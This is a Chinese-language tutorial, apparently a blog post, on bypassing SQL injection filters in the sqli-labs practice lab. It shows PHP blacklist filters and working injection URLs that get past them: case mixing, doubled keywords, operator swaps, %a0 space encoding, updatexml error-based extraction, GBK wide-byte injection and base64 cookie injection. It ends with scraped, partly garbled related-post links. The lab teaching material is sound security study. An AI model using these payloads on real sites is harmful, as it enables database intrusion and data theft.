过滤规则产生的原因

前两篇举例了SQL注入Get请求/SQL注入Post请求的案例,都是因为程序要接收用户输入的变量或者URL传递的参数,并且参数或变量会被组成 SQL语句的一部分被执行。这些数据我们统称为外部数据,在安全领域有一条规则:一切外部数据是不可信任的。所以我们需要通过各种方式对数据进行检测和过滤。

扩展:PHP的过滤函数

preg_replace(mixed $pattern , mixed $replacement , mixed $subject)

$pattern: 匹配的正则表达式

$replacement: 用于替换的字符串戒字符串数组

$subject: 要查找替换的目标字符串戒字符串数组

SQL关键字符过滤(and、or、 union、select等)

绕过过滤关键字的方法

#过滤注释/*、--、#,过滤空格,过滤select,union关键字

function blacklist($id)

{

$id= preg_replace('/[\/\*]/',"", $id); //strip out /*

$id= preg_replace('/[--]/',"", $id); //Strip out --.

$id= preg_replace('/[#]/',"", $id); //Strip out #.

$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.

$id= preg_replace('/select/m',"", $id); //Strip out spaces.

$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.

$id= preg_replace('/union/s',"", $id); //Strip out union

$id= preg_replace('/select/s',"", $id); //Strip out select

$id= preg_replace('/UNION/s',"", $id); //Strip out UNION

$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT

$id= preg_replace('/Union/s',"", $id); //Strip out Union

$id= preg_replace('/Select/s',"", $id); //Strip out select

return $id;

}

1、大小写绕过

如果过滤器通过关键字进行过滤并没有识别大小写 ,通过使用大小写进行绕过,因为 SQL语句里不区分大小写的。

(1)SQL逻辑关键字绕过

#原始SQL语句

SELECT * FROM users WHERE id='1' LIMIT 0,1;

#SQL注入语句

SELECT * FROM users WHERE id='1' AnD 1=1 -- LIMIT 0,1;

(2)SQLselect、union关键字绕过

http://192.168.1.64/sqli-labs/Less-27/?id=0'%a0union%a0select%a01,database(),3%a0||%a0'1'='1

http://192.168.1.64/sqli-labs/Less-27/?id=0'%a0UNion%a0SELect%a01,database(),3%a0||%a0'1'='1

扩展:updatexml函数报错

http://192.168.1.64/sqli-labs/Less-27/?id=0'||%a0updatexml(1,concat(1,(SELect%a0database())),1)||%a0'1'='1

2、双写绕过

判断是否有关键字不分大小写过滤

http://192.168.1.64/sqli-labs/Less-25/?id=-1' or 1=1 --+

http://192.168.1.64/sqli-labs/Less-25/?id=-1' Or 1=1 --+

#不分大小写过滤掉and、or两个关键字,大小写绕过行不通,使用双写绕过

function blacklist($id)

{

$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)

$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;

}

(1)SQL逻辑关键字绕过

http://192.168.1.64/sqli-labs/Less-25/?id=-1' OORr 1=1 --+

(2)SQLselect、union关键字绕过

http://192.168.1.64/sqli-labs/Less-27/?id=0'%a0||updatexml(1,concat(1,(selselectect user())),1)%a0||%a0'1'='1

3、关键字等价绕过

#不分大小写过滤掉and、or两个关键字,大小写绕过行不通,使用关键字等价绕过

function blacklist($id)

{

$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)

$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;

}

# id=-1'使 SQL 语句报错并使用单引号进行闭合,然后拼接 || 执行 id=5最终--+单行注释SELECT * FROM users WHERE id='-1' || id=5 -- ' LIMIT 0,1 (即SELECT * FROM users WHERE id=5)

http://192.168.1.64/sqli-labs/Less-25/?id=-1' || id=5 --+

#SELECT * FROM users WHERE id='2' LIMIT 0,1

id=1 && id=2 都是 where 的一个条件,MySQL 在执行时会先执行 id=1,此时这条语句还没执行完成,因为其中还一个逻辑&&运算,因此再执行 id=2,最后执行完成后则返回结果,最后执行的是id=2,所以仅显示了 id=2 的记录

http://192.168.1.64/sqli-labs/Less-25/?id=1 && id=2

注释过滤(--+)

判断是否有注释过滤

#将#、--替换成空格

$reg = "/#/";

$reg1 = "/--/";

$replace = "";

$id = preg_replace($reg, $replace, $id);

$id = preg_replace($reg1, $replace, $id);

1、添加一个闭合方式来绕过

http://192.168.1.64/sqli-labs/Less-23/?id=1' or '

2、逻辑运算绕过

http://192.168.1.64/sqli-labs/Less-23/?id=-1' or '1'='1

去除空格过滤

#过滤or、and关键字,过滤\*、--、#注释,过滤空格,过滤\,使用%a0十六进制绕过空格过滤

function blacklist($id)

{

$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)

$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)

$id= preg_replace('/[\/\*]/',"", $id); //strip out /*

$id= preg_replace('/[--]/',"", $id); //Strip out --

$id= preg_replace('/[#]/',"", $id); //Strip out #

$id= preg_replace('/[\s]/',"", $id); //Strip out spaces

$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes

return $id;

}

1、ascii码转url编码

判断是否有空格过滤

#'unionselect1,2,database()||'1'='1' LIMIT 0,1' 空格全给过滤成“”

http://192.168.1.64/sqli-labs/Less-26/?id=-1' union select 1,2,database() || '1'='1

#http://192.168.1.64/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0||%a0'1'='1

http://192.168.1.64/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271

单引号过滤

Mysql在使用GBK编码时,会认为两个字符为一个汉字。宽字节注入就是发生在PHP向 Mysql请求时字符集使用了GBK编码。例如addslashes()函数转义。

#addslashes() 函数在指定的预定义字符前添加反斜杠,用于过滤单引号

function check_addslashes($string)

{

$string= addslashes($string);

return $string;

}

http://192.168.1.64/sqli-labs/Less-33/?id=\

#id 的参数传入代码层,就会在’前加一个\,由于采用的 URL 编码,所以产生的效果 是%df%5c%27, GBK 编码中,两个字符表示一个数字,所以%df 把%5c 吃掉形成 了一个汉字,后面就剩一个单引号,所以此时的单引号并没有被转义可以发挥效果。 宽字符注入的必要条件,第一个字符的 ASCII 码必须大于 128(使用ASCII扩展表)在https://blog.csdn.net/ttmice/article/details/50978054中查询

http://192.168.1.64/sqli-labs/Less-33/?id=-1%82' union select 1,user(),database()--+

base64解码过滤

PHP代码使用 base64_decode()函数进行解码过滤,如果不符合base64编码的将会被过滤掉

$cookee = base64_decode($cookee);

可以看到Cookie 是经过 base64加密的我们使用 burpsuite进行base64加密注入

使用burpsuite对\进行base64加密XA==

通过进行base64加密注入得到闭合方式双引号“

使用updatexml()函数进行报错注入

使用burpsuite进行base64编码注入获取当前数据库名

绕过过滤规则总结:

1、常用的过滤规则

(1)过滤关键字(or,and,union,select)

(2)过滤特殊字符()

(3)过滤空格

(4)过滤注释(/*,#,--)

(5)过滤单引号(addslashes())

(6)过滤明码数据(base64加密和解密)

2、对应的绕过技术进行SQL注入

(1)过滤关键字使用大小写绕过,双写绕过,等价绕过,URL编码绕过

(2)过滤特殊字符使用URL编码绕过

(3)过滤空格使用URL编码绕过

(4)过滤注释使用添加一个闭合方式绕过,逻辑运算绕过

(5)过滤单引使用宽字符绕过(前提PHP使用GBK编码)

(6)过滤明码数据使用burpsuite加密发送数据绕过

mysql注入绕过单引号_SQL注入-绕过过滤规则相关推荐

  1. oracle判断某列是否有单引号_sql注入二 ——数据库信息判断

    3.1常见的sql注入利用技术 3.1.1使用堆叠查询 堆叠查询指的是在单个数据库连接中执行多个查询. 3.2识别数据库 3.2.1 常见系统架构组合识别 Asp和.net通常使用sqlserver ...

  2. mysql中何时需要引号,何时在MySQL中使用单引号,双引号和反勾号

    匿名用户 背勾用于表和列标识符,但只有当标识符是MySQL保留关键字,或者标识符包含空格字符或超出有限集合的字符(见下文)时才有必要.通常建议尽可能避免使用保留关键字作为列或表标识符,以避免引用问题. ...

  3. mysql sql语句 引号_关于sql:何时在MySQL中使用单引号,双引号和反引号

    我正在尝试学习编写查询的最佳方法. 我也理解保持一致的重要性. 到现在为止,我已经随机使用单引号,双引号和反引号而没有任何实际想法. 例: $query = 'INSERT INTO table (i ...

  4. mysql跳脱字符 单引号_MYSQL特殊字符(单引号,行尾斜杠)的处理

    单引号,以及行尾的斜杠引起的困惑: 这一次的问题,我们直接从实际的工作中说起: 工作内容简介: 有一批用户ID存在文件里,需要从数据库里删除? 做这个事情,可能有很多的方法: 1, 把ID导入到数据库 ...

  5. 利用mysql的预编译机制_SQL注入笔记记录+MySQL的事务隔离级别

    (一)SQL注入. 1.如何理解SQL注入? SQL注入是一种将SQL代码添加到输入参数中,传递到SQL服务器解析并执行的一种攻击手法. 2.SQL注入是如何产生的? web开发人员无法保证所有的输入 ...

  6. mysql %3c%3e sql优化_SQL注入技术和跨站脚本攻击的检测(2)

    2.3 典型的 SQL 注入攻击的正则表达式 /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix 解释: \w* - 零个或多个字符或者下划线 ...

  7. mysql条件变量单引号_mysql语法

    mysql 语句 1.rpm -qa | grep mysql //检查是否有mysql的安装包 2.rpm -e mysql // 普通删除模式 3.rpm -e --nodeps mysql // ...

  8. SQL注入 mysql4.0版本_SQL注入(上)

    查相关内容(一定要在回显点处查看!) 查数据库名 http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,database() ...

  9. MySQL中的单引号

    1 转载于:https://www.cnblogs.com/lit10050528/p/3858677.html

最新文章

  1. LeetCode实战:环形链表
  2. git File name too long
  3. 802.11 帧格式及类型
  4. 真实,让文学回到原点:关于非虚构写作的思考
  5. flask 知识点总结
  6. 信息学奥赛一本通(1408:素数回文数的个数)
  7. Dapp开发教程四 Asch Dapp Dice Game
  8. asio c++20 协程在windows下和linux下设定
  9. 【转载】一个c程序在执行main函数之前和main之后都做了那些事情
  10. 路由器刷机突破校园网限制
  11. C#打造一个开源webgis(四)地图客户端(中)
  12. ASP.NET中,HiddenField隐藏控件的用法
  13. selenium模块
  14. fhkldlkfhj
  15. 一个高性能服务器需要关注的地方
  16. 这份 Android 性能优化手册 对标大厂!
  17. [JZOJ5358]【NOIP2017提高A组模拟9.12】BBQ
  18. python解析pcap提取{src ip,src port,protocol,dst ip, dst port}五元组,再提取网络流(包括前向流与后向流)
  19. linux脚本编写后怎么退出,linux脚本编写退出拍摄pdf
  20. 微信小程序 简单易用 下拉框组件

热门文章

  1. 【博客话题】我与Linux的不解情缘
  2. 据说看完这21个故事的人,30岁前都成了亿万富翁。你是下一个吗
  3. OpenCV图像处理——iOS端人脸检测
  4. NMF 非负矩阵分解
  5. STM32F10X的boot分析
  6. 为什么前端开发这么不稳定?
  7. 10、软件质量工程师指南 - 软件项目角色指南系列文章
  8. 用CSS实现首字下沉效果,仿word的首字下沉
  9. 20170824图论选讲部分习题
  10. 主成分分析(PCA)和独立成分分析(ICA)相关资料